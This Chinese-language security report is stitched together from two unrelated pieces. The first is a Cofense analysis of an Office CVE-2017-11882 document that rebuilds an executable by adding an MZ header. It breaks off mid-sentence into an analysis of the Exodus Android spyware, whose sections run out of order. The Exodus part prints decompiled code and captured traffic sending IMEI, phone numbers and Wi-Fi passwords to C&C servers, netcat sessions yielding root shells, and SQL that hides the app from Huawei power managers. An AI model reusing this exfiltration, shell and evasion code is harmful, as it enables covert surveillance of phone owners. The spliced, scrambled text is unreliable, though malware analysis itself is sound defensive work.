在Cofense Intelligence观察到的攻击行动中,恶意文档将植入一个嵌入式对象,并将其视为部分可执行文件,文件头如图2所示。由于此可执行文件没有MZ标头,因此VirusTotal上的防病毒引擎检测到的检出率为2/58。这也意味着,分析人员如果将其作为可执行文件运行的话将不会成功,他们可能会认为此文件已被破坏——理论上来说这种逻辑是没错的。一旦部分可执行文件植入成功,恶意文档就会利用CVE-2017-11882(一个Office远程代码执行漏洞,出现在公式编辑器中)下载并执行.hta文件的内容,如图3所示。

3.jpg

图3:下载的.hta文件的内容

此脚本有四个步骤。第一步是创建一个文件“~F9.TMP”,内容为“MZ”:

4.jpg

图4:创建可执行文件的第一步

第二步将新文件(“MZ”)的内容添加到名为“~AFER125419.TMP”的文件的开头。文件“~AFER125419.TMP”是原始可执行文件中嵌入对象的名称:

5.jpg

图5:创建可执行文件的第二步

添加“MZ”标头后,新文件与图1所示的文件相同。虽然文件保留.TMP扩展名,但仍然可以从命令行以可执行文6.jpg

图6:创建可执行文件的第三步

在最后一步中,此二进制文件被复制到Windows“Startup”文件夹,并被重命名为可执行文件,并确保它将在下一次计算机启动时运行。此举提供了持久性。

7.jpg

图7:创建可执行文件的第四步

后续

本文中的恶意文档实际上是由反病毒公司检测到的,这主要是因为它使用了一个最小混淆的方程编辑器漏洞和一个嵌入的对象。当恶意文件刚植入磁盘时,VirusTotal对可执行对象的检出率只有2/58,而通过添加“MZ标头”重塑可执行对象后,检测比率会跳到40/71,这的确能表明MZ标头的缺失会使大部分分析人员和自动化系统感染迷惑。而“二进制文件只有在经过下载的脚本修改之后才能作为可执行文件运行”,这一信息在几个层面上造成了分析的干扰:

首先,计算机必须能够访问互联网,这可以防止二进制文件在某些沙箱和分析环境中运行。因为这些环境默认情况下是不具有Internet访问权限的。而对此二进制文件进行的任何手动静态分析都会让其“被破坏”,从而增加了该文件被忽略的可能性。

为了进行进一步的分析,脚本需是可用的。如果脚本下载源被攻击者删除或其他原因而不可用,则二进制文件永远不会成为可执行文件,并且不太可能被检测到。

最后,如果脚本是单独下载并运行的,它将创建两个2字节的文件,并显示一条错误消息,进一步让分析人员加深它就是一个糟糕的恶意软件的印象。

不容忽视的问题——信息超载

信息超载对任何企业来说都是一个不容小觑的问题。为了能够快速处理和确定信息的优先级,分析人员和技术防御人员有时会忽略那些运行不了的“损毁”文件。哪怕这些文件能够确认是一种威胁,分析人员往往也会被迫优先考虑破坏性更明显的恶意软件,而不是想着怎么修复一个“损毁”样本。而且,即使修复了“损毁”样本,往往也只有满足一定标准时恶意文档才能有效。这种为了逃避检测而使用的多级执行并不常见,但同样具有很高的风险。为了保护自己免受类似的威胁,组织机构需要在预防程序和培训上做一定的投入,将人工经验和自动防御程序的分析相结合来发现此项威胁。

附录

表1.文件IoC:

8.jpg

表2.网络IoC:

9.jpg

如前所述,我们的测试设备从第一阶段到第二阶段都是自动被收集数据的。例如,手机使用的WiFi网络的密码使用文件名格式DD_MM_2019_HH_mm_ss_XXXXXXXXXXXXX.txt.crypt(IMEI后面的日期时间)存储在文件夹/storage/emulated/0/.lost+found/0BBDA068-9D27-4B55-B226-299FCF2B4242/中。最后,我们观察到代理将我们的测试手机中的WiFi密码泄露给了C&C服务器:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"WIFIPASSWORD","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 277
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip
 
l.9TqRuosV..~.:. ...` [REDACTED] ....s)Sp.^...5z..d0pRu
 
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jan 2019 15:53:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
 
OK

同样,代理会向C&C服务器发送已安装的应用程序列表:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"APPLIST","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 11502
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip
 
(..5."...0...gVE^[email protected]^&Q....9.ua8.+WCQ%]T^Q.
.UYY.R][V.0.5.6...1]0P&.pYM.0AFZ[W~Q[S.
 
[REDACTED]
 
<...wIwR;.|...2_P.UWTBY_P.FKZR.1P$.7..]6.;E5.&.M_wEPAGP_^xWYR....]a.`\cG][email protected]$...<\[p[]U...
Jh
 
HTTP/1.1 200 OK
Server: nginx
Date: [REDACTED]
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

该C&C服务器从2017年4月起就一直处于活跃状态,并且是模拟合法服务AccuWeather进行注册的。

Registrant Name: AccuWeather, Inc.
Registrant Organization: AccuWeather, Inc.
Registrant Street: 385 SCIENCE PARK RD
Registrant City: STATE COLLEGE
Registrant State/Province: PA
Registrant Postal Code: 16803-2215
Registrant Country: US
Registrant Phone: +1.8142358528
Registrant Phone Ext:
Registrant Fax: +1.8142358528
Registrant Fax Ext:
Registrant Email: [email protected][.]com

本地和远程shell

为了在受感染的设备上执行命令,以及为C&C服务器的运营人员提供一个反向shell, Exodus Two会尝试执行它下载的名为null的payload。一旦启动,null将首先通过检查本地端口号6842是否可用,来验证它是否能够在系统中复制,以及当前是否有自身的其他实例在运行。

然后,此payload将尝试在端口22011上将远程reverse / system / bin / sh shell实例化到C&C服务器ws.my-local-weather [.] com中。值得注意的是,这个远程反向shell不使用任何传输密码,因此可能会受到中间人的攻击:

4.png

同时,null也将绑定0.0.0.0:6842上的本地shell。Exodus Two将使用此本地端口在Android设备上执行各种命令,例如启用或禁用某些服务,或解析应用程序数据库。然而,将shell绑定到所有可用的接口上,显然会使任何与受感染设备共享本地网络的人都可以访问它。例如,如果受感染的设备连接到公共Wi-Fi网络,任何其他主机都可以通过连接端口获得设备上的终端,而无需任何形式的身份验证。

[email protected]:~$ nc 192.168.1.99 6842 -v
Connection to 192.168.1.99 6842 port [tcp/*] succeeded!
[email protected]:/ $ id
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0

如果移动运营商没有对客户端实施适当的隔离,那么受感染的设备也有可能暴露在蜂窝网络的其他部分。

显然,这不仅让设备面临着数据泄露问题,还面临数据被篡改的风险。

null并不是打开手机shell的唯一payload。实际上,rootdaemon二进制文件提供了执行命令的其他几种可能性,只需连接到TCP端口6200:

1. 将命令sh发送到TCP端口6200会完整复制一个终端:

[email protected]:~$ nc 192.168.1.99 6200
sh
[email protected]:/ $ id
id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0
[email protected]:/ $

2. 发送cmd命令,一个正确的终端命令将会对它执行,并打印输出(在本例中,我们使用id,它显示运行发出命令的系统用户的身份):

[email protected]:~$ nc 192.168.1.99 6200
cmd id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

3. 执行与上面相同的操作,但是使用命令sucmd将以root身份运行终端命令:

$ nc 192.168.1.99 6200
sucmd id
uid=0(root) gid=0(root) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

TCP端口6200上的rootdaemon支持的其他命令有su(在我们的测试中没有正确工作)、loadsocketpolicy、loadfilepolicy、remount和removeroot。

下面是同一本地网络中一台笔记本电脑对受感染的Android设备进行的nmap扫描的输出,这进一步证明了我们提到的相同开放TCP端口的可用性:

[email protected]:~$ nmap 192.168.1.99 -p6000-7000
 
Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-28 17:12 CET
Nmap scan report for android-[REDACTED] (192.168.1.99)
Host is up (0.035s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
6200/tcp open  lm-x
6201/tcp open  thermo-calc
6205/tcp open  unknown
6209/tcp open  qmtps
6211/tcp open  unknown
6212/tcp open  unknown
6842/tcp open  netmo-http
 
Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds

eSurv的识别过程

意大利语

我们获得的第一批间谍软件样本乍看之下并没有显示出与任何公司的明显关联。然而,无论是在Google Play商店页面上还是在间谍软件代码中,一直存在的意大利语都是一个明显的迹象,表明这个平台的创建的背后有一个意大利人在参与。Exodus Two classes.dex反编译中的一些特定单词也让我们更加确信了这一点。

a("MUNDIZZA", "09081427-FE30-46B7-BFC6-50425D3F85CC", ".*", false);
this.b.info("UPLOADSERVICE Aggiunti i file mundizza. Dimensione coda upload {}", Integer.valueOf(this.c.size()));

“Mundizza”是意大利语单词“immondizia”的衍生词,用英语翻译成“垃圾”或“垃圾”。有趣的是,“mundizza”是典型的意大利南部卡拉布里亚地区的方言词,更具体地说,它似乎属于卡坦扎罗市。

 此外,Exodus One的一些副本使用以下XOR键:

char[] cArr = new char[]{'R', 'I', 'N', 'O', ' ', 'G', 'A', 'T', 'T', 'U', 'S', 'O'};

Rino Gattuso是一位着名的退役意大利足球运动员,来自卡拉布里亚。

虽然这种推论并不严谨,但这些因素让我们把研究范围缩小到了该区域的公司。 

基础设施重合

在Google Play商店中找到的几个恶意应用程序中,其配置的命令和控制域ws.my-local-weather [.] com都指向IP地址54.69.156.31,该地址提供自签名TLS证书,证书通用名为MyCert,指纹为11:41:45:2F:A7:07:23:54:AE:9A:CE:F4:FE:56:AE:AC:B1:C2:15:9F:6A:FC:1E:CC:7D:F8:61:E3:25:26:73:6A。

利用互联网扫描服务Censys搜索这个证书指纹,会返回8个额外的服务器:

IP address
34.208.71.9
34.212.92.0
34.216.43.114
52.34.144.229
54.69.156.31
54.71.249.137
54.189.5.198
78.5.0.195
207.180.245.74

在浏览器中打开C&C服务器web页面会出现一个基本的身份验证提示:

5.png

关闭此验证,服务器将发送“401未经授权的响应”和“访问被拒绝”的意大利语消息。

6.png

我们发现所有IP地址共享同一个TLS证书。C&C服务器还显示了一个看起来像一个橙色小球的图标。在Shodan上使用http.favicon.hash:990643579对图标进行反向搜索后,返回大约40个使用相同图标的Web服务器。

7.png

8.png

其中许多服务器是由意大利公司eSurv开发的视频监控系统控制面板,该公司总部位于意大利卡拉布里亚的卡坦扎罗。

9.png

eSurv的产品包括闭路电视管理系统、无人侦察机、人脸和车牌识别系统。并且,eSurv的图标与C&C服务器的图标相同。

10.png

11.png

旧样本分析

最后,谷歌与我们分享了一些更老的Exodus One样本(散列为2055584625d24687bd027a63bc0b8d1a854a7d1a854a840a52b1d2f和a37f5d2418c5f64d06ba28fe62edee1293a56158ddfa9f04020e16054363f),这些样本没有混淆,并且使用了以下伪装:

12.png

这些旧样本的配置与较新的样本非常相似,但它提供没被混淆的视角:

package com.vend.management.carrier.mylibrary;public class Configuration {
    public static final String BUNDLE_CUSTOM_FILENAME = "D10CEE67-E1EF-4C17-96DC-BEB51B0A9A55";
    public static final String BUNDLE_UNIVERSAL_FILENAME = "AD9FF676-875E-4294-A230-44EA1A4B15A1";
    public static final String CERT_STRING_B64 = "MIIDxzCCAq+gAwIBAgIJAM6NZPKxJWOzMA0GCSqGSIb3DQEBCwUAMHoxCzAJBgNVBAYTAkNOMRYwFAYDVQQIDA1GdW5nIFNoYW5nIEhvMRIwEAYDVQQHDAlIb25nIEtvbmcxGjAYBgNVBAoMEUNoaW5hIFRlbGVjb20gTHRkMSMwIQYDVQQDDBowMGludGVybmV0LWRldmVsLmlub2t1LmNvbTAeFw0xNjAzMTcxNTMwMTNaFw0yNjAzMTUxNTMwMTNaMHoxCzAJBgNVBAYTAkNOMRYwFAYDVQQIDA1GdW5nIFNoYW5nIEhvMRIwEAYDVQQHDAlIb25nIEtvbmcxGjAYBgNVBAoMEUNoaW5hIFRlbGVjb20gTHRkMSMwIQYDVQQDDBowMGludGVybmV0LWRldmVsLmlub2t1LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMIJIK4rWDHeEnhjS5efXW2bpiX45BXaKPvULox4dzYiBUllFSAB4MujX3CZgu/fbBgNgIAV2n7h+KHfrBxlU0K9orIaZGEpiWLIJIXwS/1RY4dXnIdKmU2Dwogm9ZnJlzPLjJVM2iFDXj9dAm008PRo6UvGJ5g3GCs1xtCFErfDLvFiM2/hnlEPZtMFmLXonnQAALTjLwz+gD35IwFRiKgizDM0b0ZIhvMV+HPE/Zjot2rfsV/JI/uwvECVxUZNjs5GIMO2TwZAaK+B/PdLJY6iTcnmoxVscEXTDeYPpxu7o+R3GgbOYi1JOSBlDV3xAZhCdT5EHuoaWbyLJpm9xpkCAwEAAaNQME4wHQYDVR0OBBYEFMxK8XlJ1hzBGBvtwJL72q5Zk/hnMB8GA1UdIwQYMBaAFMxK8XlJ1hzBGBvtwJL72q5Zk/hnMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJNvLXlxhBpu96dpPWqfvqkpf6iuByGr/VWgouJmh06g5/u4AgOYqhiZjJ1sm/yLt4/xnFDpwZIFVB7kDslXAgjim2eK5OIENigcrR6xcI+e/sd/PkGUlfEuKq8AZ+GUd4Ju2TK+ee7kh1keJKngRmLTo6Zk/G9iD2XycryUI3sjhx5UWGyZ+PNowDcGTjTPOQCLb9YXLPxS0zSEVQ55JJfabBlsmpFp/ePyEE240eiEW9DKKktKqK9KNjthExaCPnG3w00y6QTpkRQhY/rUord+/bHDuZ2Wk5dxOW1QK+Kjl1EJrDD+MBBlILgG82/gyiDaDSpEWfbn1O8KuieMxHk=";
    public static final String EXPLOIT_ARM = "07DD890F-8495-4E74-826F-BF7AED84B351";
    public static final String EXPLOIT_I686 = "6F6F8F3F-7996-44B4-AD92-4BB03D02D926";
    public static final String HOST_DIRECTORY = "/7e661733-e332-429a-a7e2-23649f27690f/";
    public static final String HOST_IP = "attiva.exodus.esurv.it";
    public static final String HOST_WS_BUNDLE1 = "B45551E5-8B53-4960-8B47-041A46D1B954";
    public static final String HOST_WS_BUNDLE2 = "6AD98532-7605-4DB0-9CE4-56816B203DBD";
    public static final String HOST_WS_INIT = "7acbff64-7a3a-4ebd-8997-4839b5937024";
    public static final String KEY_STRING_B64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7k5xg4sfzLcucmXE24jsI3fJ2+4vt3wVCR0WA3hfqDdlOx7EHWTKues1MLY1Cps8Y3nVId3E7GtzjTTlI++eHcoEd3eVXWdnGRtci+MB8O89HWLqhqCds/FmTkG4rdSF7oTlTcrKKwRs6QLqZceCQo00S9DXMNXIXOflXa4DTzH0LqlPcq8QTQGNKp8InC0fDsP02kGC4dNk1yNxCfJvVmXp06fYoLFrqYCofoBMkRkWTpTb83ibwdmE3LrzVLDwVNJHDCglgPKHvCPFex9+NRZIdzSDE6GxbuT+l+VbPYg8BpXjEtr68k81ZLFSnKrdSJLqtuJ0LvaTzEYxRikzzwIDAQAB";
    public static final String PLACEHOLDER_AFTER_FIRST_EXECUTION = "5CBAECF0-6D42-430C-99AD-9493EC45C566";
    public static final String UNZIPPED_FOLDER = "BD014144-796E-41B0-89C5-2EEC42765254";}

首先,我们可以注意到,这些样本是与位于attiva. us.esurv[.]it的C&C服务器通信(“attiva”在意大利语中是“激活”的意思)。

public static final String HOST_IP = "attiva.exodus.esurv.it";

此C&C服务器的域名也是我们把间谍软件命名为“exodus”的由来。

下面是旧样本的Exodus One中的代码片段,与C&C服务器的连接:

final byte[] encryptedBytes = StepOneCipher().doFinal((" " + "#" + imei + "#" + versione + "#" + telefono).getBytes());
final Request request = new Request.Builder().url("https://attiva.exodus.esurv.it/7e661733-e332-429a-a7e2-23649f27690f/7acbff64-7a3a-4ebd-8997-4839b5937024.php").post(RequestBody.create(MTYPE, encryptedBytes)).build();

而mike.jar中对C&C服务器的请求则几乎完全相同(也包含路径7e661733-e332-429a-a7e2-23649f27690f):

if (bArr == null) {
    bArr = l.c().doFinal((" " + "#" + deviceId + "#" + str3 + "#" + telephonyManager.getLine1Number()).getBytes());
}
Response execute = build.newCall(new Request.Builder().url("https://ws.my-local-weather[.]com/7e661733-e332-429a-a7e2-23649f27690f/" + str2 + ".php").post(RequestBody.create(a, bArr)).build()).execute();

为了进一步证实Exodus间谍软件与eSurv的关联,我们对域名attiva.exodus.esurv.it做了解析,解析后的域名为IP 212.47.242.236,根据公共被动DNS数据,该域名在2017年被用来托管server1cs. us.connexxa.it。Connexxa也是一家来自卡坦扎罗的公司。根据公开的信息,Connexxa的创始人似乎也是eSurv的CEO。

有趣的是,我们发现其他DNS记录大多来自2017年,它们遵循类似的模式,似乎包含意大利地区的两个字母代码:

1.png

最后的线索——一封公开的员工简历

此外,eSurv的一名员工在一份公开的简历中相当准确地描述了他们在开发“从Android设备收集数据并将其发送到C&C服务器的代理程序”,以及研究“移动设备(主要是Android)中的漏洞”方面的工作。其中的进一步细节反映出exodus特点(如我们在Exodus One中描述的绕过电源管理器等):

13.png

IoC

Exodus One

· 011b6bcebd543d4eb227e840f04e188fb01f2335b0b81684b60e6b45388d3820
· 0f5f1409b1ebbee4aa837d20479732e11399d37f05b47b5359dc53a4001314e5
· 2055584625d24687bd027a63bc0b8faa7d1a854a535de74afba24840a52b1d2f
· 26fef238028ee4b5b8da631c77bfb44ada3d5db8129c45dea5df6a51c9ea5f55
· 33a9da16d096426c82f150e39fc4f9172677885cfeaedcff10c86414e88be802
· 34d000ee1e36efd10eb37e2b79d69249d5a85682a61390a89a1b9391c46bf2ba
· 4f6146956b50ae3a6e80a1c1f771dba848ba677064eb0e166df5804ac2766898
· 5db49122d866967295874ab2c1ce23a7cde50212ff044bbea1da9b49bb9bc149
· 70e2eea5609c6954c61f2e5e0a3aea832d0643df93d18d7d78b6f9444dcceef0
· 80810a8ec9624f317f832ac2e212dba033212258285344661e5da11b0d9f0b62
· 8453ce501fee1ca8a321f16b09969c517f92a24b058ac5b54549eabd58bf1884
· a37f5d2418c5f2f64d06ba28fe62edee1293a56158ddfa9f04020e316054363f
· db59407f72666526fca23d31e3b4c5df86f25eff178e17221219216c6975c63f
· e0acbb0d7e55fb67e550a6bf5cf5c499a9960eaf5f037b785f9004585202593b

Exodus One Package Names

· com.phonecarrier.linecheck
· rm.rf
· operatore.italia
· it.offertetelefonicheperte
· it.servizipremium
· assistenza.sim
· assistenza.linea.riattiva
· assistenza.linea
· it.promofferte

Exodus Two

· 64c11fdb317d6b7c9930e639f55863df592f23f3c7c861ddd97048891a90c64b
· a42a05bf9b412cd84ea92b166d790e8e72f1d01764f93b05ace62237fbabe40e

Exodus Two ELF Utilities

· 00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4
· 11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59
· 13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6
· 3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33
· 3ee3a973c62ba5bd9eab595a7c94b7a26827c5fa5b21964d511ab58903929ec5
· 47449a612697ad99a6fbd6e02a84e957557371151f2b034a411ebb10496648c8
· 48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88
· 824ad333320cbb7873dc49e61c14f749b0e0d88723635524463f2e6f56ea133a
· b46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7
· c228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658
· e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
· e3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f

Command & Controls

· ad1.fbsba[.]com
· ws.my-local-weather[.]com
· 54.71.249[.]137
· 54.69.156[.]31
· 162.243.172[.]208
· attiva.exodus.esurv[.]it

摘要

Security Without Borders团队在收集了2016年到2019年初的大量样本后确定了一个新的Android间谍软件平台,并将其命名为Exodus,它由被称为Exodus One和Exodus Two的两个阶段组成。

该类间谍软件是在Google Play商店中发现的,它被伪装成移动运营商的服务应用程序。在Google Play商店页面的介绍以及应用程序的说明中用的都是意大利语。而根据公开的统计数据以及Google的确认后,这些应用程序中的大多数都只有几十个安装,只有其中一个安装量达到了350多个,受害者都位于意大利。当前,所有这些Google Play商店页面都已被Google删除。

我们推测,该间谍软件平台是由一家名为eSurv的意大利公司开发的,该公司主要从事视频监控业务。根据公开记录,eSurv似乎是在2016年开始开发入侵软件的。

Exodus配备了广泛的收集和拦截功能。而令人担忧的是,此软件通过强制执行某些修改可能会使受感染的设备受到进一步危害或是数据篡改。

间谍软件的伪装与上传

我们发现,eSurv的间谍软件在两年多的时间内多次成功上传到Google Play商店。这些应用程序能在Google Play中存活数月,在被下架后又能重新上传。虽然每次上传的版本在细节上可能会有所不同,但所有副本都有类似的伪装,并且在大多数情况下,它们都会模拟成由意大利的移动运营商(未指明)发布。传播方式则是通过向目标用户发送短信引导受害者进入Google Play页面下载。

1.png

2.png

在我们向Google报备后,Google已经删除了这些应用程序,并且在回应中表示“由于增强了检测模型,Google Play Protect现在能够更好地检测这些应用程序的未来变种”。虽然Google没有告知受感染设备的总数,但他们证实,除了其中一个恶意应用程序有350多个安装外,其他变种程序最多只有几十个安装,而且所有感染都发生在意大利。通过Exodus的副本我们也可以估算感染的总数可能在数百个左右,也有可能上千。

第一阶段:Exodus One

第一阶段是下载,恶意应用程序只起到一个dropper的作用。以下是这些dropper诱骗用户一些示例:

3.pngphone3.png

Exodus One的目的似乎是收集设备的一些基本识别信息(即IMEI代码和电话号码),并将其发送到C&C服务器。这么做通常是为了验证新感染的目标。在2016年的一些较老的、未模糊的样本里也进一步证实了这一点,这些样本的主要类名为CheckValidTarget。

在我们的测试期间,间谍软件在第一次检入后会立即升级到第二阶段。这表明C& C服务器的运营人员没有强制执行目标的验证。此外,在接下来几天的时间里,我们受感染的测试设备从未被操作人员远程消毒过。

在本报告中,我们分析了哈希为 8453ce501fee1ca8a321f16b09969c517f92a24b058ac54549eabd58bf1884的Exodus One样本,该样本与C& C服务器在54.71.249.137处通信,而剩余样本通信的服务器则在报告底部列出。Exodus One通过发送包含应用程序包名、设备IMEI和附加设备信息的加密体的POST请求来检入。

POST /eddd0317-2bdc-4140-86cb-0e8d7047b874 HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
Content-Type: application/octet-stream
Content-Length: 256
Host: 54.71.249.137
Connection: Keep-Alive
Accept-Encoding: gzip
 
.....,Q... N.v..us.R.........../...\D..5p..q    ......4
 
[REDACTED]
 
gl.O..Y.Q..)3...7K.:(..5...w..........L.....p.L2......._jK..............g}...15......r.x.x!.....?..O.z......
 
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: [REDACTED]
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
 
358fde5fe8f91b132636a6d5a7148070

加密体由多个连接在一起的标识符组成:

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(" ");
stringBuilder.append("#");
stringBuilder.append(deviceId);
stringBuilder.append("#");
stringBuilder.append(str);
stringBuilder.append("#");
stringBuilder.append(line1Number);
stringBuilder.append("##");
stringBuilder.append(subscriberId);
stringBuilder.append("#");
stringBuilder.append(networkOperatorName);
stringBuilder.append("#");
stringBuilder.append(networkType);
stringBuilder.append("#");
stringBuilder.append(simState);

doFinal()用于加密设备信息字符串:

final byte[] doFinal = a3.doFinal(stringBuilder.toString().getBytes());

用户代理字符串由包名和IMEI号构建:

stringBuilder2.append(this.e.getPackageName());
stringBuilder2.append(":");
stringBuilder2.append(deviceId);
subscriberId = stringBuilder2.toString();

最后,将HTTP请求发送到服务器https://54.71.249.137/eddd0317-2bdc-4140-86cb-0e8d7047b874。应用程序中的许多字符串都是与键Kjk1MmphFG异或后的值:

StringBuilder stringBuilder3 = new StringBuilder();
stringBuilder3.append("https://");
stringBuilder3.append(a);
stringBuilder3.append("/");
stringBuilder3.append(p.a("Lg4PVX1eQV9rdSkOCBx5XERYa399CQkcfQhIDHF3f10JCXpZ"));
final Request build = builder.url(stringBuilder3.toString()).header("User-Agent", subscriberId).post(create).build();

在一些额外的请求之后,dropper向https://54.71.249.137/56e087c9-fc56-49bb-bbd0-4fafc4acd6e1发出一个POST请求,将返回一个包含第二阶段二进制文件的zip文件。

POST /56e087c9-fc56-49bb-bbd0-4fafc4acd6e1 HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
Content-Type: application/octet-stream
Content-Length: 256
Host: 54.71.249.137
Connection: Keep-Alive
Accept-Encoding: gzip
 
......#f......Ri.)"S.d,....xT...([email protected];....u..4.k...
".d...W
 
[REDACTED]
 
%.+Y..k..}..I....!z...5G...-(.]fc.V..<[y...T..s}.{......u%..[.!89...m..
 
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: [REDACTED]
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
 
PK.........e[[email protected]'...T......null_armUT    ...D.ZxD.Zux..............|}|....y.%...O`.....f..0..)..P..

第二阶段:Exodus Two

Exodus One执行检入后返回的Zip归档文件是一组文件,包括了主要有效负载mike.jar和几个编译后的实用程序,它们提供不同的功能。在2019年1月最新的版本中,Zip归档文件包含了所有已部署二进制文件的i686、arm和arm64版本。更多版本信息请点击此处了解。

在下载的各种二进制文件中,最有意思的是null和rootdaemon,前者用作本地和反向shell,后者负责权限提升和数据获取。rootdaemon将首先尝试使用DirtyCow修改版本的漏洞越狱设备。下载后,Exodus One将使用Android API DexClassLoader()动态加载并执行阶段2的初级payload mike.jar,用mike.jar能实现大部分数据收集和提取功能。

与另一款意大利制造的Android间谍软件类似,Exodus也利用了protectedapps功能,这是华为手机的一项功能,可以为运行中的应用程序配置节电选项。这款软件名为Skygofree,最初由Lukas Stefanko发现,卡巴斯基实验室此后也对它做了深入分析。通过操作SQLite数据库,即使屏幕关闭,Exodus能够保持自身运行,而一般情况下应用程序在屏幕关闭后都会停止运行以减少电池消耗。

if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/Optimize.db", (int)&db_handle) )
{
    sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v1, 0);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "DELETE FROM backgroundwhiteapps WHERE package_name='%s'", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "INSERT INTO backgroundwhiteapps (package_name) VALUES ('%s')", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    func_sqlite_free(v4);
}
if ( !func_sqlite_loaddb(
        (int)"/data/user_de/0/com.huawei.systemmanager/databases/smartpowerprovider.db",
        (int)&db_handle) )
{
    sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v2, a2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "DELETE FROM rogueapps WHERE pkgname='%s'", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "DELETE FROM superpowerapps WHERE pkgname='%s'", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "REPLACE INTO unifiedpowerapps (pkg_name,is_protected,is_show,is_changed) VALUES ('%s',1,0,0)", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    func_sqlite_free(v5);
}

此外,rootdaemon会试图从华为手机的系统管理器中删除自己的用电量统计数据:

if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/stusagestat.db", (int)&db_handle) )
{
    sprintf(&s, "REPLACE INTO default_value_table (pkg_name,control,protect,keytask) VALUES ('%s',0,2,0)", v1, 0);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "DELETE FROM st_key_procs_table WHERE st_key_process='%s'", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "INSERT INTO st_key_procs_table (st_key_process) VALUES ('%s')");
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "REPLACE INTO st_protected_pkgs_table (pkg_name,is_checked) VALUES ('%s',1)", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    func_sqlite_free(v4);
}

类似地,在三星手机上,恶意应用程序会试图通过添加到文件/data/data/com.samsung.android.securitylogagent/shared_prefs/apm_sp_status_of_apps.xml中来使使用痕迹最小化:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <int name=\"[APP NAME]\" value=\"33554499\" />
</map>

并将以下行添加到文件/data/data/com.samsung.android.securitylogagent/shared_prefs/com.samsung.android.securitylogagent_preferences.xml中:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <boolean name=\"[APP NAME]\" value=\"false\" />
</map>

数据收集和提取

如上所述,mike.jar为间谍软件提供了广泛的收集功能,包括:

· 检索已安装的应用程序列表。

· 使用3gp格式的内置麦克风录制周围环境。

· 从Chrome和SBrowser(三星手机附带的浏览器)中检索浏览历史记录和书签。

· 从日历应用中提取事件。

· 提取通话记录。

· 以3gp格式录制电话。

· 使用内置相机拍照。

